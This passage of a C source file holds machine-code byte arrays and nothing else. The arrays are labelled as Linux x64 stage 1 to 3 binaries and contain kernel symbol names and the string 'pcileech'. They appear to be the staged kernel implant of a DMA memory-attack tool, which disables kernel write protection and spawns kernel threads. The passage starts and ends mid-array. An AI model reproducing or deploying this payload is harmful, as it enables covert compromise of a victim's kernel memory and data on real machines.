0x8b, 0xcb, 0xe8, 0x0b, 0xfe, 0xff,\n  0xff, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83,\n  0xec, 0x30, 0x80, 0x79, 0x02, 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, 0x48,\n  0x8b, 0xcb, 0xe8, 0xdd, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x7b, 0x48, 0x8b, 0x53, 0x18, 0x48,\n  0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00,\n  0x00, 0x00, 0xff, 0x53, 0x78, 0xeb, 0x55, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d, 0x51, 0x68, 0x48,\n  0x83, 0x64, 0x24, 0x20, 0x00, 0x44, 0x8b, 0xc8, 0x48, 0x8b, 0x4b, 0x20, 0x41, 0x81, 0xe1, 0xff,\n  0x07, 0x00, 0x00, 0x41, 0x8b, 0xc1, 0x41, 0x81, 0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0,\n  0x48, 0x8b, 0x83, 0x80, 0x00, 0x00, 0x00, 0x45, 0x3b, 0xc8, 0x72, 0x06, 0x41, 0xb8, 0x00, 0x08,\n  0x00, 0x00, 0x45, 0x2b, 0xc1, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0xff, 0xd0, 0x85, 0xc0, 0x74, 0x16,\n  0x48, 0x8b, 0x4b, 0x18, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x10, 0x80, 0x7b, 0x02, 0x00,\n  0x0f, 0x85, 0x79, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5e, 0xfd, 0xff, 0xff, 0x48, 0x83,\n  0xc4, 0x30, 0x5b, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x50, 0x48, 0x83, 0x79, 0x48, 0x00, 0x48,\n  0x8b, 0xd9, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x80, 0x79, 0x01, 0x00, 0x74, 0x79, 0x48, 0x83,\n  0x64, 0x24, 0x38, 0x00, 0xba, 0x00, 0x20, 0x00, 0x00, 0xb9, 0x40, 0x00, 0x00, 0x00, 0xc7, 0x44,\n  0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x40, 0x01, 0x00, 0x00, 0x00, 0xff, 0x93,\n  0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, 0x8d, 0x53, 0x20, 0x41, 0xb9, 0x00, 0x08,\n  0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48, 0x8d, 0x88, 0x00, 0x10, 0x00, 0x00, 0x48, 0x89,\n  0x4b, 0x18, 0x48, 0xb9, 0x21, 0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0x48, 0x89, 0x08, 0x48,\n  0x8b, 0x43, 0x18, 0x48, 0x89, 0x08, 0x48, 0x8d, 0x4b, 0x38, 0xff, 0x53, 0x50, 0x48, 0x8d, 0x53,\n  0x30, 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x48, 0x8d, 0x4b, 0x28, 0x4c, 0x8d, 0x44, 0x24, 0x30,\n  0xff, 0x53, 0x50, 0xc6, 0x43, 0x02, 0x01, 0x48, 0x8b, 0xcb, 0xe8, 0x11, 0xfd, 0xff, 0xff, 0x85,\n  0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xcb, 0xe8, 0xb1, 0xfc, 0xff, 0xff, 0xeb, 0x3e, 0x80, 0x7b, 0x01,\n  0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d, 0x05, 0x9c, 0xfe, 0xff, 0xff,\n  0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x60, 0x48,\n  0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d, 0x05, 0xa8, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20,\n  0x00, 0x4c, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x60, 0xc6, 0x43, 0x03, 0xff, 0x48,\n  0x83, 0xc4, 0x50, 0x5b, 0xc3\n};\n\nconst BYTE LINUX_X64_STAGE1_BIN[] = {\n    0xe8, 0xfb, 0xff, 0xff, 0xff\n};\n\nconst BYTE LINUX_X64_STAGE2_BIN[] = {\n  0xeb, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x58, 0x48, 0x83, 0xe8, 0x05, 0x50, 0x57, 0x56, 0x52, 0x51, 0x41, 0x50,\n  0x41, 0x51, 0x41, 0x56, 0x41, 0x57, 0x41, 0x0f, 0x20, 0xe6, 0x41, 0x0f, 0x20, 0xc7, 0x0f, 0x20,\n  0xe1, 0x0f, 0xba, 0xf1, 0x17, 0x0f, 0x22, 0xe1, 0x0f, 0x20, 0xc1, 0x0f, 0xba, 0xf1, 0x10, 0x0f,\n  0x22, 0xc1, 0x48, 0x8b, 0x15, 0xbf, 0xff, 0xff, 0xff, 0x48, 0x89, 0x10, 0xb0, 0x00, 0xb2, 0x01,\n  0x48, 0x8d, 0x0d, 0xab, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x55, 0x41, 0x0f, 0x22,\n  0xc7, 0x41, 0x0f, 0x22, 0xe6, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x4c, 0x8b, 0xfc,\n  0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x60, 0x4c, 0x8d, 0x35, 0x81, 0xff, 0xff, 0xff, 0x8b,\n  0x05, 0x8b, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8, 0x3a, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe7,\n  0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x0f, 0x20, 0xe1, 0x0f, 0xba, 0xf1, 0x17, 0x0f,\n  0x22, 0xe1, 0x0f, 0x20, 0xc1, 0x0f, 0xba, 0xf1, 0x10, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x52, 0xff,\n  0xff, 0xff, 0x41, 0x0f, 0x22, 0xc7, 0x41, 0x0f, 0x22, 0xe6, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x59,\n  0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x3c, 0x02, 0x00, 0x00, 0x41, 0xff,\n  0xd6, 0x48, 0x85, 0xc0, 0x75, 0x22, 0x48, 0x8d, 0x3d, 0x41, 0x02, 0x00, 0x00, 0x41, 0xff, 0xd6,\n  0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x3e, 0x02, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48,\n  0x85, 0xc0, 0x0f, 0x84, 0x47, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0xc4, 0x0c, 0x00, 0x00, 0x48,\n  0xc7, 0xc6, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x85, 0xc0,\n  0x0f, 0x84, 0x29, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x6e, 0x01, 0x00, 0x00, 0x4c, 0x8b,\n  0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0x3a, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x48, 0x8d, 0x3d, 0x26,\n  0x02, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x49, 0x8b, 0xfc, 0x48, 0xc7,\n  0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x49, 0x8b, 0xfc, 0xe8, 0x53, 0x01, 0x00, 0x00, 0x48,\n  0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, 0x05, 0x4e, 0x01, 0x00,\n  0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48,\n  0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d, 0x3d, 0xbc, 0x01, 0x00,\n  0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0xbc, 0x01, 0x00, 0x00,\n  0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xa3, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xfc, 0x48,\n  0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48,\n  0x8d, 0x3d, 0x3d, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x24, 0x49, 0x8b,\n  0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x33, 0xd2, 0x48, 0x83,\n  0xea, 0x01, 0x48, 0x8d, 0x0d, 0xbc, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x02,\n  0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0xfb, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74,\n  0x4e, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x8d,\n  0x15, 0x90, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x33, 0x49, 0x89, 0x44, 0x24,\n  0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x49, 0x89, 0x44, 0x24, 0x60,\n  0x48, 0x8d, 0x3d, 0x40, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x10, 0x49,\n  0x8b, 0x7c, 0x24, 0x58, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x41, 0x8b, 0xc5, 0xc3, 0xb8,\n  0xff, 0xff, 0xff, 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0x2b, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48,\n  0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88,\n  0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d,\n  0x3d, 0x13, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00,\n  0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff,\n  0xff, 0xff, 0x5f, 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b,\n  0xc7, 0xc3, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb,\n  0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48,\n  0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00,\n  0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83,\n  0xf8, 0x00, 0x74, 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61,\n  0x74, 0x65, 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74,\n  0x65, 0x5f, 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f,\n  0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c,\n  0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f,\n  0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x6e, 0x6f, 0x70, 0x72, 0x6f, 0x66, 0x00, 0x73, 0x65, 0x74,\n  0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f,\n  0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d,\n  0x6f, 0x72, 0x79, 0x5f, 0x72, 0x77, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70,\n  0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73,\n  0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f,\n  0x62, 0x61, 0x73, 0x65, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00\n};\n\nconst BYTE LINUX_X64_STAGE3_BIN[] = {\n  0xeb, 0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff,\n  0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64,\n  0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48,\n  0x83, 0xf8, 0x00, 0x74, 0xd4, 0x53, 0x55, 0x41, 0x53, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x4c,\n  0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d, 0xaf, 0xef, 0xff,\n  0xff, 0xe8, 0x6e, 0x0b, 0x00, 0x00, 0x0f, 0x09, 0x48, 0x85, 0xc0, 0x74, 0x1e, 0x48, 0x8d, 0x15,\n  0x05, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc2, 0xff, 0xe0, 0x48, 0x8d, 0x0d, 0x90, 0xef, 0xff, 0xff,\n  0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x68, 0x48, 0x8d, 0x0d, 0x7e, 0xef,\n  0xff, 0xff, 0xe8, 0xed, 0x07, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c,\n  0x41, 0x5b, 0x5d, 0x5b, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b,\n  0xf2, 0x49, 0xc7, 0xc5, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x53, 0xff, 0xff, 0xff, 0x50,\n  0x48, 0x8d, 0x05, 0x18, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x4f, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x54, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x59, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x58, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x59, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x7f, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x8d, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x8d, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x9d, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x85, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xa1, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0xaa, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xc4, 0x00, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0xca, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xd1, 0x00, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x0d, 0x02, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xdc, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0x86, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x94, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0xa0, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xac, 0x01, 0x00, 0x00, 0x50,\n  0x48, 0x8d, 0x05, 0xc3, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xc2, 0x01, 0x00, 0x00, 0x50,\n  0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0xc8, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04,\n  0x2e, 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46, 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49,\n  0x8b, 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x1b,\n  0x49, 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x0e, 0x49, 0x8b, 0x86,\n  0xc0, 0x00, 0x00, 0x00, 0x49, 0x89, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x41, 0x5d, 0x41, 0x5e, 0x41,\n  0x5f, 0xc3, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x61,\n  0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65,\n  0x6e, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x6e, 0x78,\n  0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00,\n  0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x77, 0x00, 0x73, 0x65,\n  0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65,\n  0x65, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73,\n  0x63, 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69,\n  0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66,\n  0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70,\n  0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65,\n  0x6d, 0x5f, 0x72, 0x61, 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e,\n  0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65,\n  0x6d, 0x61, 0x70, 0x5f, 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d,\n  0x65, 0x5f, 0x67, 0x65, 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00,\n  0x67, 0x65, 0x74, 0x6e, 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34,\n  0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x70, 0x6c, 0x61,\n  0x74, 0x66, 0x6f, 0x72, 0x6d, 0x5f, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x5f, 0x61, 0x6c, 0x6c,\n  0x6f, 0x63, 0x00, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x5f, 0x64, 0x65, 0x76, 0x69,\n  0x63, 0x65, 0x5f, 0x61, 0x64, 0x64, 0x00, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x5f,\n  0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x5f, 0x70, 0x75, 0x74, 0x00, 0x64, 0x6d, 0x61, 0x5f, 0x61,\n  0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x61, 0x74, 0x74, 0x72, 0x73, 0x00, 0x64, 0x6d, 0x61, 0x5f, 0x66,\n  0x72, 0x65, 0x65, 0x5f, 0x61, 0x74, 0x74, 0x72, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x73, 0x65, 0x74,\n  0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x6e, 0x6f, 0x70,\n  0x72, 0x6f, 0x66, 0x00, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0,\n  0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c,\n  0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff,\n  0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0xc5,\n  0xfe, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xf9,\n  0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, 0x03, 0xc7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3,\n  0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x9f, 0xfe, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74,\n  0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3,\n  0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x5a, 0x48, 0x2b, 0xd0, 0x48,\n  0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, 0xc2, 0x5e, 0x5f, 0xc3, 0x48, 0xc1, 0xe7,\n  0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, 0x48, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xc1,\n  0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, 0xc1, 0x10, 0x48, 0x89, 0x4a, 0x48, 0x48,\n  0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x4c, 0x8b, 0x42, 0x40, 0x4c,\n  0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b,\n  0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b,\n  0xd9, 0xc7, 0x44, 0x24, 0x40, 0x64, 0x65, 0x76, 0x00, 0x48, 0x8b, 0x89, 0x98, 0x03, 0x00, 0x00,\n  0x48, 0x85, 0xc9, 0x74, 0x7e, 0x48, 0x83, 0xbb, 0xa0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x74, 0x48,\n  0x83, 0xbb, 0xb0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x6a, 0x49, 0x83, 0xc8, 0xff, 0x48, 0x8d, 0x54,\n  0x24, 0x40, 0xe8, 0xbe, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x54, 0x48,\n  0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8d, 0x50, 0x10, 0x48, 0x8b, 0x8b, 0xb0, 0x03, 0x00, 0x00,\n  0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x41, 0xb8, 0x00, 0x00, 0x20, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x20,\n  0xc4, 0x0c, 0x00, 0x00, 0xe8, 0x8c, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x25, 0x48, 0x8b,\n  0x4c, 0x24, 0x48, 0x48, 0x85, 0xc9, 0x74, 0x1b, 0x48, 0x89, 0x43, 0x28, 0xb8, 0x01, 0x00, 0x00,\n  0x00, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x20, 0x00, 0x48, 0x89, 0x4b, 0x20, 0x48, 0x89, 0x7b,\n  0x78, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0xe8, 0x42, 0xff,\n  0xff, 0xff, 0x33, 0xdb, 0x48, 0x85, 0xc0, 0x75, 0x0d, 0x48, 0x8b, 0xcf, 0xe8, 0x1b, 0x00, 0x00,\n  0x00, 0x48, 0x85, 0xc0, 0x74, 0x05, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, 0x8b,\n  0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n  0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xba, 0xc4,\n  0x0c, 0x00, 0x00, 0x48, 0x8b, 0x89, 0x08, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x09, 0x00, 0x00, 0x00,\n  0xe8, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x40, 0x48, 0x8b, 